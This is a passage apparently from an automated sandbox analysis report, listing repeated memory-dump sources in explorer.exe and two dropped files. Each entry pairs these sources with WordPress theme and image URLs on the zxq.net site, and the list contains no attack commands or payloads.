00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/css/icons/icons.css?ver=7.1.1
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847892635.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/css/lightbox.css?ver=7.1.1
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/js/jquery.mfp-lightbox.js?ver=7.1.1
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/js/jquery.sticky-sidebar.js?ver=7.1.1
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851087658.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850963846.0000000000785000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/js/lazyload.js?ver=7.1.1
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851087658.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093476582.0000000000754000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/js/theme.js?ver=7.1.1
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/style.css?ver=7.1.1
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/02/ZXQ-FB.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/02/ZXQ.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847892635.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/02/zxq-icon-150x150.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/02/zxq-icon-300x300.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-150x58.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-300x117.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-450x175.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black.png
Source: explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Essential-Renovation
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Essential-Renovation-Tips-for-Singapore-Homes-Sidestep-Th
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Finance-Phantom-Review-
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Mastering-Renovations-Key-Ideas-to-Prevent-Common-Mistake
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home-1024x
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home-150x8
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home-300x1
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home-450x2
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home-768x4
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home.jpg
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Customizable-Online-Games-A-Personalized-Gaming-Experienc
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Exploring-the-World-of-Progressive-Online-Games-How-They-
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/How-to-Handle-Quick-Home-Repairs-Without-Professional-Hel
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-1024x576.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-150x84.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-300x169.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-450x253.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-768x432.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea.png
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-includes/css/dist/block-library/style.min.css?ver=5.9.1
